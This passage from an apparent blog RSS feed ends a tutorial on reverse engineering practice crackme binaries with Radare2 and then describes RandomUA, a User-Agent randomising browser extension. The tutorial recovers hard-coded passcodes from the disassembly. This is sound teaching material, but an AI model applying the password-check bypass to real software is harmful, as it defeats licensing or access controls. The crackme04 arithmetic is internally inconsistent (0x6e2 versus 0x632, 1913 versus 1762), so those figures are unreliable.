the block ends and lines come out, pointing to other blocks. For instance, in the top block (the beginning of the function), the &lt;code&gt;jne&lt;/code&gt; instruction which checks for the argument number causes a red line to come out to the left and a green one to the right.&lt;/p&gt;&#xA;&lt;p&gt;On the right, you should see a block that looks a bit like this:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;.---------------------------------------------.                                &#xA;|  0x7cc ;[ga]                                |                                &#xA;|      ; const char * s                       |                                &#xA;|      ; 0x8a4                                |                                &#xA;|      ; &amp;#34;Need exactly one argument.&amp;#34;         |                                &#xA;| lea rdi, str.Need_exactly_one_argument.     |                                &#xA;| call sym.imp.puts;[gh]                      |                                &#xA;|    ; -1                                     |                                &#xA;| mov eax, 0xffffffff                         |                                &#xA;| jmp 0x7c6;[gg]                              |                                &#xA;`---------------------------------------------&amp;#39;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;That&amp;rsquo;s the block we just analyzed. Use the arrow keys to follow the blue (unconditional) line down to see what happens after this block. You&amp;rsquo;ll see, at the bottom of the graph, a block at 0x7c6 that is unconditionally jumped to from a number of places in the program:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code class=&#34;language-x86asm&#34; data-lang=&#34;x86asm&#34;&gt;add rsp, 0x10                                                      &#xA;pop rbx                                                 &#xA;ret&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This simply frees stack space and returns. So this program behaves like the others we&amp;rsquo;ve looked at: if there aren&amp;rsquo;t the right number of arguments, it prints a string and exits with an error code (remember, &lt;code&gt;eax&lt;/code&gt; was loaded with -1).&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Try It Yourself:&lt;/strong&gt; Look at the rest of the program in the control flow graph. Try to find the block that prints the failure message. There are two checks that can lead there; can you figure out what they do?&lt;/p&gt;&#xA;&lt;p&gt;Recall that &lt;code&gt;test eax, eax&lt;/code&gt; followed by &lt;code&gt;je&lt;/code&gt; means &amp;ldquo;jump if &lt;code&gt;eax&lt;/code&gt; is zero&amp;rdquo;, and that the x86 instruction set is well documented; if you don&amp;rsquo;t know what an instruction does, look it up!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;If we progress down the red branch from the first block, where execution flows if the &lt;code&gt;jne&lt;/code&gt; isn&amp;rsquo;t taken (that is, if there are exactly 2 strings passed to the binary), you&amp;rsquo;ll see these instructions at 0x754:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code class=&#34;language-x86asm&#34; data-lang=&#34;x86asm&#34;&gt;mov dword [local_9h], 0x426d416c ; [0x426d416c:4]=-1&#xA;mov word [local_dh], 0x4164 ; [0x4164:2]=0xffff&#xA;mov byte [local_fh], 0&#xA;mov word [local_6h], 0&#xA;mov byte [local_8h], 0&#xA;mov byte [local_2h], 2&#xA;mov byte [local_3h], 3&#xA;mov byte [local_4h], 2&#xA;mov byte [local_5h], 3&#xA;mov byte [local_6h], 5&#xA;mov rbx, qword [rsi + 8]    ; [0x8:8]=0&#xA;mov eax, 0&#xA;mov rcx, 0xffffffffffffffff&#xA;mov rdi, rbx&#xA;repne scasb al, byte [rdi]&#xA;cmp rcx, 0xfffffffffffffff8&#xA;je 0x7df&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Mostly all this block does is load a bunch of values into memory. Here, rather than showing the actual addresses, Radare has named each local variable based on its stack offset. Scrolling up to the initial block, we can see that &lt;code&gt;local_2h&lt;/code&gt; through &lt;code&gt;local_fh&lt;/code&gt; are all of type &lt;code&gt;int&lt;/code&gt; (or, at least, that&amp;rsquo;s what Radare thinks) and they&amp;rsquo;re each one byte in size.&lt;/p&gt;&#xA;&lt;p&gt;After loading those values into local variables, it loads something in memory at the address &lt;code&gt;rsi + 8&lt;/code&gt; into &lt;code&gt;rbx&lt;/code&gt;. If we recall the SystemV x86_64 calling convention, &lt;code&gt;rsi&lt;/code&gt; is the second argument: &lt;code&gt;argv&lt;/code&gt;. So &lt;code&gt;rsi + 8&lt;/code&gt; is &lt;code&gt;argv[1]&lt;/code&gt;. It then loads up &lt;code&gt;eax&lt;/code&gt; with 0, &lt;code&gt;rcx&lt;/code&gt; with &lt;code&gt;0xffffffffffffffff&lt;/code&gt; , and &lt;code&gt;rdi&lt;/code&gt; with &lt;code&gt;rbx&lt;/code&gt;, the value just loaded from &lt;code&gt;argv[1]&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Then it runs &lt;code&gt;repne scasb&lt;/code&gt;. This is a weird but fast quirk of x86: it has a &lt;em&gt;native instruction&lt;/em&gt; for string length determination. &lt;code&gt;repne&lt;/code&gt; means &lt;code&gt;rep&lt;/code&gt;eat while &lt;code&gt;n&lt;/code&gt;ot &lt;code&gt;e&lt;/code&gt;qual, and &lt;code&gt;scasb&lt;/code&gt; means &lt;code&gt;s&lt;/code&gt;tring &lt;code&gt;c&lt;/code&gt;ompare &lt;code&gt;a&lt;/code&gt;nd &lt;code&gt;s&lt;/code&gt;ubtract, &lt;code&gt;b&lt;/code&gt;yte variant - see the reference &lt;a href=&#34;http://www.felixcloutier.com/x86/SCAS:SCASB:SCASW:SCASD.html&#34;&gt;here&lt;/a&gt; for more info.&lt;/p&gt;&#xA;&lt;p&gt;So, this instruction compares bytes to the value of &lt;code&gt;al&lt;/code&gt; (which is zero here), starting at the memory address in &lt;code&gt;rdi&lt;/code&gt; and counting up, while subtracting from &lt;code&gt;rcx&lt;/code&gt; (remember, C is the counter register). In essence, this instruction is measuring the length of a string. Isn&amp;rsquo;t x86 a fun time?&lt;/p&gt;&#xA;&lt;p&gt;Anyway, once the &lt;code&gt;repne scasb&lt;/code&gt; operation is done, &lt;code&gt;rcx&lt;/code&gt; will hold 0xffffffffffffffff minus the length of the string, and we can see that the next instruction compares it to 0xfffffffffffffff8. Therefore, if the string is 0xffffffffffffffff - 0xfffffffffffffff8 = 7 bytes long (note that this includes the terminating character), the jump is taken; otherwise it is not.&lt;/p&gt;&#xA;&lt;p&gt;If the jump isn&amp;rsquo;t taken, the code proceeds to a block at 0x7a8, where the failure string is printed. Therefore, we can immediately determine that any correct passcode will be precisely six bytes (plus the null terminator).&lt;/p&gt;&#xA;&lt;h3 id=&#34;functions&#34;&gt;Functions&lt;/h3&gt;&#xA;&lt;p&gt;What is more interesting is the block that is executed when the jump &lt;em&gt;is&lt;/em&gt; taken.&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code class=&#34;language-x86asm&#34; data-lang=&#34;x86asm&#34;&gt;lea rdx, [local_2h]&#xA;lea rsi, [local_9h]&#xA;mov rdi, rbx&#xA;call sym.check_pw&#xA;test eax, eax&#xA;je 0x7a8&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The binary loads the addresses of some local variables, loads &lt;code&gt;argv[1]&lt;/code&gt; again (&lt;code&gt;rbx&lt;/code&gt;, remember?), and then &lt;code&gt;call&lt;/code&gt;s a function: &lt;code&gt;sym.check_pw&lt;/code&gt;. Of course, the actual binary just has the offset of the function, but Radare was smart enough to look up that offset in the symbol table and put the name in for us. &lt;code&gt;check_pw&lt;/code&gt; sounds pretty promising, as cunction names go, and we can verify that by continuing: after the call, the program jumps to failure if the function returned zero, and continues on to success if it did not (recall that &lt;code&gt;test eax, eax&lt;/code&gt; followed by &lt;code&gt;je&lt;/code&gt; jumps if &lt;code&gt;eax&lt;/code&gt; is zero).&lt;/p&gt;&#xA;&lt;p&gt;So what exactly does this function do? First, recall that the SystemV x86_64 calling convention says that &lt;code&gt;rdi&lt;/code&gt;, &lt;code&gt;rsi&lt;/code&gt;, and &lt;code&gt;rdx&lt;/code&gt; (the three registers loaded prior to the call) are the first three arguments to the function. So in C, the call looks like this:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;int&lt;/span&gt; result = check_pw(argv[&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;], &amp;amp;local_9h, &amp;amp;local_2h);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;if&lt;/span&gt; (result == &lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// fail&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;} &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;else&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// succeed&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The question, then, is what, exactly, does &lt;code&gt;check_pw&lt;/code&gt; do? To find that out, we need to exit visual mode (&lt;code&gt;q&lt;/code&gt; followed by &lt;code&gt;q&lt;/code&gt;) and &lt;code&gt;s&lt;/code&gt;eek to it (&lt;code&gt;s sym.check_pw&lt;/code&gt;), then look at the flow diagram (&lt;code&gt;VV&lt;/code&gt;).&lt;/p&gt;&#xA;&lt;p&gt;It is immediately clear that this function contains a loop. Unlike the main function, which continues consistently downward no matter which jumps you take, in &lt;code&gt;check_pw&lt;/code&gt; a block near the bottom has a &lt;code&gt;jne&lt;/code&gt; that jumps up to the top. Looking a little more closely, we can see that there are three opportunities to return. One of them (at 0x73e) returns 0 (failure) and the other two (at 0x744 and 0x748) return 1 (success).&lt;/p&gt;&#xA;&lt;p&gt;This kind of high-level analysis is only possible with a flow diagram, and is one of the major advantages of using a tool like Radare. When I was getting started  with reverse engineering, I drew out flow diagrams by hand, simply because I was unaware that free tools existed. Don&amp;rsquo;t do that; it&amp;rsquo;s a waste of time.&lt;/p&gt;&#xA;&lt;p&gt;The function starts off by loading &lt;code&gt;r8d&lt;/code&gt;, a 64-bit general purpouse register, with the value 0. It then jumps to the following block (at 0x716):&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code class=&#34;language-x86asm&#34; data-lang=&#34;x86asm&#34;&gt;movsxd rax, r8d&#xA;movzx ecx, byte [rdx + rax]&#xA;add cl, byte [rsi + rax]&#xA;cmp cl, byte [rdi + rax]&#xA;jne 0x73e;[gb]&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This block sets &lt;code&gt;rax&lt;/code&gt; to &lt;code&gt;r8d&lt;/code&gt; (which we know is zero), then loads a single byte from its third argument, indexed by &lt;code&gt;eax&lt;/code&gt;. Going back to our arg list, this argument is &lt;code&gt;&amp;amp;local_2h&lt;/code&gt;, so it&amp;rsquo;s loading &lt;code&gt;(&amp;amp;local_2h)[0]&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;It then adds a byte loaded from the second argument indexed by &lt;code&gt;eax&lt;/code&gt; (&lt;code&gt;(&amp;amp;local_9h)[0]&lt;/code&gt;), and compares it to a byte loaded from its first argument indexed by &lt;code&gt;eax&lt;/code&gt; (&lt;code&gt;argv[1][0]&lt;/code&gt;). Remember that this is a loop, so eax will change. In other words:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;while&lt;/span&gt; (&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;/* something?? */&lt;/span&gt;) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;char&lt;/span&gt; temp  = arg3[eax] + arg2[eax];&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;if&lt;/span&gt; (temp != arg1[eax]) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;; &lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// failure&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If the jump isn&amp;rsquo;t taken, this code is run (at 0x725):&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code class=&#34;language-x86asm&#34; data-lang=&#34;x86asm&#34;&gt;add r8d, 1 &#xA;movsxd rax, r8d&#xA;cmp byte [rsi + rax], 0&#xA;je 0x744;[gd] &#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This increments the loop counter, then checks if the second argument indexed by the loop counter is zero. If so, it jumps to code (at 0x744) that returns success. Otherwise, it continues looping. Our updated C code looks like this:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;while&lt;/span&gt; (arg2[eax] != &lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;char&lt;/span&gt; temp  = arg3[eax] + arg2[eax];&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;if&lt;/span&gt; (temp != arg1[eax]) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;; &lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// failure&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    eax++;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;At this point, it&amp;rsquo;s pretty easy to see what &lt;code&gt;check_pw&lt;/code&gt; is doing: it&amp;rsquo;s comparing two strings, but it&amp;rsquo;s modifying each byte of one of the strings.&lt;/p&gt;&#xA;&lt;p&gt;Looking at the arguments passed in &lt;code&gt;main&lt;/code&gt;, we can see that the program is adding &lt;code&gt;(&amp;amp;local_2h)[eax]&lt;/code&gt; to &lt;code&gt;(&amp;amp;local_9h)[eax]&lt;/code&gt;. I suggest going back to the main function (exit visual mode; &lt;code&gt;pdf@main&lt;/code&gt;) to look at what each of those values will be.&lt;/p&gt;&#xA;&lt;p&gt;Both of these are just locations on the stack. We also know that &lt;code&gt;check_pw&lt;/code&gt; will only be run on a string with 6 characters in it, so we only need to look at 6 values. Here are the values after &lt;code&gt;local_2h&lt;/code&gt; (you can see them being set in &lt;code&gt;main&lt;/code&gt;): 2, 3, 2, 3, 5. That&amp;rsquo;s only 5 values. What&amp;rsquo;s going on?&lt;/p&gt;&#xA;&lt;p&gt;If we look again, the stack variables are set starting at offset 0x754:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code class=&#34;language-x86asm&#34; data-lang=&#34;x86asm&#34;&gt;mov dword [local_9h], 0x426d416c ; [0x426d416c:4]=-1&#xA;mov word [local_dh], 0x4164 ; [0x4164:2]=0xffff&#xA;mov byte [local_fh], 0&#xA;mov word [local_6h], 0&#xA;mov byte [local_8h], 0&#xA;mov byte [local_2h], 2&#xA;mov byte [local_3h], 3&#xA;mov byte [local_4h], 2&#xA;mov byte [local_5h], 3&#xA;mov byte [local_6h], 5&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Prior to the values being set in order from &lt;code&gt;local_2h&lt;/code&gt; to &lt;code&gt;local_6h&lt;/code&gt;, by moving byte-sized values into them, &lt;code&gt;local_6h&lt;/code&gt; (that is, &lt;code&gt;rsp+0x6&lt;/code&gt;) is loaded with a word-sized 0 (this is Intel-syntax, so a word is 16 bits; see &lt;a href=&#34;https://en.wikipedia.org/wiki/Word_(computer_architecture)#Size_families&#34;&gt;this&lt;/a&gt; historical note) value. That means that &lt;strong&gt;both &lt;code&gt;rsp+0x6&lt;/code&gt; and &lt;code&gt;rsp+0x7&lt;/code&gt;&lt;/strong&gt; are set to zero.&lt;/p&gt;&#xA;&lt;p&gt;Note that Radare didn&amp;rsquo;t even realize that these values were in an array, let alone tell us what it was initialized to, despite it being entirely static. This is the part of reverse engineering that requires a human brain; the computer knows what&amp;rsquo;s there, but it can&amp;rsquo;t know what it&amp;rsquo;s being used for.&lt;/p&gt;&#xA;&lt;p&gt;Anyway, our table of values starting at &lt;code&gt;local_2h&lt;/code&gt; is &lt;code&gt;[2, 3, 2, 3, 5, 0]&lt;/code&gt;. These aren&amp;rsquo;t printable ASCII characters, so presumably the hard-coded password is stored at the other input value: &lt;code&gt;local_9h&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;code&gt;mov&lt;/code&gt; instruction above is sized for a double word (&lt;code&gt;dword&lt;/code&gt;); a 32-bit value. It&amp;rsquo;s followed by a word-sized value, then a byte-sized zero. That works out to 4+2 = 6 bytes, plus a null terminator, so it&amp;rsquo;s a good bet that these three locations together form a string. Indeed, if we write out the values with byte seperation, it makes sense: &lt;code&gt;42 6d 41 6c 41 64 00&lt;/code&gt; is a well-formed null-terminated string, with values in the printable ASCII range.&lt;/p&gt;&#xA;&lt;p&gt;All that&amp;rsquo;s left is to add the offsets to them, giving us &lt;code&gt;44 70 43 6e 44 64 00&lt;/code&gt;. Translating these to ASCII, we get: &lt;code&gt;DpCnDd&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Sure enough, putting this into the binary gives us&amp;hellip; the failure message. What happened?&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Try It Yourself:&lt;/strong&gt; Why didn&amp;rsquo;t this work? It&amp;rsquo;s something pretty fundamental about how x86 processors organize data.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;What&amp;rsquo;s happening here is that x86 processors are little-Endian. That means that bytes are read from the right to the left, not the other way around, in multi-byte values. This is easily corrected by just flipping the order of &lt;code&gt;local_9h&lt;/code&gt; and &lt;code&gt;local_dh&lt;/code&gt;. &lt;code&gt;42 6d 41 6c&lt;/code&gt; becomes &lt;code&gt;6c 41 6d 42&lt;/code&gt; and &lt;code&gt;41 64&lt;/code&gt; becomes &lt;code&gt;64 41&lt;/code&gt;, making our whole string &lt;code&gt;6c 41 6d 42 64 41 00&lt;/code&gt; and our correct string &lt;code&gt;6e 44 6f 45 69 41 00&lt;/code&gt; or &lt;code&gt;nDoEiA&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Congratulations on making it through this part of the tutorial. You&amp;rsquo;ve now got all the tools you need for static reverse engineering! Don&amp;rsquo;t forget to solve the exercises to cement your skills.&lt;/p&gt;&#xA;&lt;h2 id=&#34;crackme04c&#34;&gt;crackme04.c&lt;/h2&gt;&#xA;&lt;p&gt;Now that you&amp;rsquo;ve seen all the tools and techniques you need to reverse engineer these crackmes, I&amp;rsquo;m only going to highlight the most important sections of each crackme. With crackme04, you can use the same basic process as before: open it up in Radare, run analysis, and seek to the main function. The flow graph should lead you right to a loop at the heart of the code, which looks like this:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code class=&#34;language-x86asm&#34; data-lang=&#34;x86asm&#34;&gt;movsx eax, al&#xA;add esi, eax&#xA;add ecx, 1&#xA;movsxd rax, ecx&#xA;movzx eax, byte [rdx + rax]&#xA;test al, al&#xA;jne 0x72e;[ge]  &#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;That jump is either back to the top if &lt;code&gt;al&lt;/code&gt; (a single byte from the input string) isn&amp;rsquo;t zero, or to a block that just compares &lt;code&gt;ecx&lt;/code&gt; with 0x10 and exits with failure if it&amp;rsquo;s not equal, and to another check if it is. That check jumps to failure if &lt;code&gt;esi&lt;/code&gt; isn&amp;rsquo;t 0x6e2, and success if it is.&lt;/p&gt;&#xA;&lt;p&gt;So what are &lt;code&gt;ecx&lt;/code&gt; and &lt;code&gt;esi&lt;/code&gt;? It&amp;rsquo;s easy to see that &lt;code&gt;ecx&lt;/code&gt; is just a counter; at each loop iteration, it gets incremented, and is used to index the input string. So, after the loop is done, it&amp;rsquo;s equal to the number of non-zero bytes in the string.&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;esi&lt;/code&gt; is only modified in one line in the loop: it&amp;rsquo;s the sum of the numerical values of the characters in the string. It&amp;rsquo;s later compared to 0x632. So we need a 16-character string with the sum 0x6e2 (1762).&lt;/p&gt;&#xA;&lt;p&gt;My method is to simply divide and then add in the remainder. 1913 over 16 is 110 remainder 2, so we just use character 110 (&amp;rsquo;n&amp;rsquo;) followed by a single 112 (&amp;lsquo;p&amp;rsquo;): &lt;code&gt;nnnnnnnnnnnnnnnp&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;h1 id=&#34;appendix&#34;&gt;Appendix&lt;/h1&gt;&#xA;&lt;h2 id=&#34;the-makefile&#34;&gt;The Makefile&lt;/h2&gt;&#xA;&lt;p&gt;The Makefile used is fairly straightforward, but it does have a few quirks. Prime among them is the use of &lt;code&gt;objcopy&lt;/code&gt; on the compiled executables. I use it to strip out the &lt;code&gt;FILE&lt;/code&gt; symbol, which would otherwise be used by Radare to display source code listings alongside the disassembly, completely defeating the purpouse of the exercise.&lt;/p&gt;&#xA;&lt;h2 id=&#34;exercises&#34;&gt;Exercises&lt;/h2&gt;&#xA;&lt;p&gt;The files named &lt;code&gt;crackme01e.c&lt;/code&gt;, &lt;code&gt;crackme02e.c&lt;/code&gt;, et cetera are modified versions of their non-suffixed counterparts. They are intended as exercises, and can be solved with exactly the same techniques as are shown in the respective sections of this tutorial. You will have a much better experience if you solve them before moving on.&lt;/p&gt;&#xA;&lt;h2 id=&#34;media&#34;&gt;Media&lt;/h2&gt;&#xA;&lt;p&gt;Saturday, Jan. 6, 2018: This tutorial was featured on Hackaday, which briefly brought down my server. Hi to all of you who make it here from there. Please consider checking out my other tutorials!&lt;/p&gt;&#xA;</content:encoded>
    </item>
    <item>
      <title>RandomUA</title>
      <link>https://nora.codes/projects/randomua/</link>
      <pubDate>Wed, 08 Nov 2017 00:00:00 +0000</pubDate>
      <guid>https://nora.codes/projects/randomua/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;https://github.com/NoraCodes/randomua/raw/master/addon/icons/randomua-96.png&#34;&gt;&lt;img src=&#34;https://github.com/NoraCodes/randomua/raw/master/addon/icons/randomua-96.png&#34; alt=&#34;RandomUA Logo&#34;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Install for &lt;a href=&#34;https://addons.mozilla.org/en-US/firefox/addon/randomua/&#34;&gt;Firefox&lt;/a&gt; or &lt;a href=&#34;https://chrome.google.com/webstore/detail/randomua/hjnnbhmaakbibdndnmjbkppmfjoejadg&#34;&gt;Chrome&lt;/a&gt;, or view on &lt;a href=&#34;https://github.com/NoraCodes/randomua/&#34;&gt;GitHub&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;what-is-randomua&#34;&gt;What is RandomUA?&lt;/h2&gt;&#xA;&lt;p&gt;RandomUA is a WebExtension that changes your User-Agent string to a sensible-looking, desktop-browser-like UA string which is different for every request.&lt;/p&gt;&#xA;&lt;p&gt;A &lt;em&gt;User-Agent&lt;/em&gt; string is a piece of information that your computer sends to every website you go to. It tells them what software you use to access the Internet, what kind of computer you&amp;rsquo;re using, and what kind of operating system you use. Some of this is really important to those websites, but most of it isn&amp;rsquo;t, and it can be used to help track you without your consent.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;a href=&#34;https://github.com/NoraCodes/randomua/raw/master/addon/icons/randomua-96.png&#34;&gt;&lt;img src=&#34;https://github.com/NoraCodes/randomua/raw/master/addon/icons/randomua-96.png&#34; alt=&#34;RandomUA Logo&#34;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Install for &lt;a href=&#34;https://addons.mozilla.org/en-US/firefox/addon/randomua/&#34;&gt;Firefox&lt;/a&gt; or &lt;a href=&#34;https://chrome.google.com/webstore/detail/randomua/hjnnbhmaakbibdndnmjbkppmfjoejadg&#34;&gt;Chrome&lt;/a&gt;, or view on &lt;a href=&#34;https://github.com/NoraCodes/randomua/&#34;&gt;GitHub&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;what-is-randomua&#34;&gt;What is RandomUA?&lt;/h2&gt;&#xA;&lt;p&gt;RandomUA is a WebExtension that changes your User-Agent string to a sensible-looking, desktop-browser-like UA string which is different for every request.&lt;/p&gt;&#xA;&lt;p&gt;A &lt;em&gt;User-Agent&lt;/em&gt; string is a piece of information that your computer sends to every website you go to. It tells them what software you use to access the Internet, what kind of computer you&amp;rsquo;re using, and what kind of operating system you use. Some of this is really important to those websites, but most of it isn&amp;rsquo;t, and it can be used to help track you without your consent.&lt;/p&gt;&#xA;&lt;p&gt;Many browser fingerprinting solutions use the User-Agent as a relatively constant string, because most users UAs only change when their browser updates. Therefore, having a different UA on each request make it a lot easier to evade these tracking schemes.&lt;/p&gt;&#xA;&lt;h2 id=&#34;sample-ua-strings&#34;&gt;Sample UA Strings&lt;/h2&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;Mozilla/5.0 (Windows NT 5.64; rv:193.0) (KHTML, like Gecko)  AppleWebKit/193.0;&#xA;Mozilla/5.0 (Windows NT 7.59; rv:869.0) Gecko/20100101  Chrome/531.0 Firefox/869.0;&#xA;Mozilla/5.0 (Linux i686 on x86_64; rv:514.0) Gecko/20100101 Mobile Chrome/514.0;&#xA;Mozilla/5.0 (Windows NT 9.81; rv:77.0) Gecko/20100101  Chrome/77.0;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;These generated UAs preserve important markers (like the &lt;code&gt;Mozilla/5.0&lt;/code&gt; and &lt;code&gt;Gecko&lt;/code&gt; or &lt;code&gt;like Gecko&lt;/code&gt; compat markers, and the &lt;code&gt;Mobile&lt;/code&gt; flag) so that your browser isn&amp;rsquo;t served unusable content, but randomizes parameters that websites really shouldn&amp;rsquo;t care about (like OS version, browser version, and processor architecture) to protect your privacy.&lt;/p&gt;&#xA;&lt;h2 id=&#34;permissions&#34;&gt;Permissions&lt;/h2&gt;&#xA;&lt;p&gt;RandomUA requires access to all URLs and web request data for its core function: it has to be able to change your user agent string!&lt;/p&gt;&#xA;&lt;h2 id=&#34;other-platforms&#34;&gt;Other Platforms&lt;/h2&gt;&#xA;&lt;p&gt;Simply run the included &lt;code&gt;make_xpi.sh&lt;/code&gt; script and install the generated XPI file.&lt;/p&gt;&#xA;&lt;h2 id=&#34;contributing&#34;&gt;Contributing&lt;/h2&gt;&#xA;&lt;p&gt;Contributions are welcome, either as PRs or issue reports. Please use GitHub issues for both bugs and feature requests.&lt;/p&gt;&#xA;</content:encoded>
    </item>
    <item>
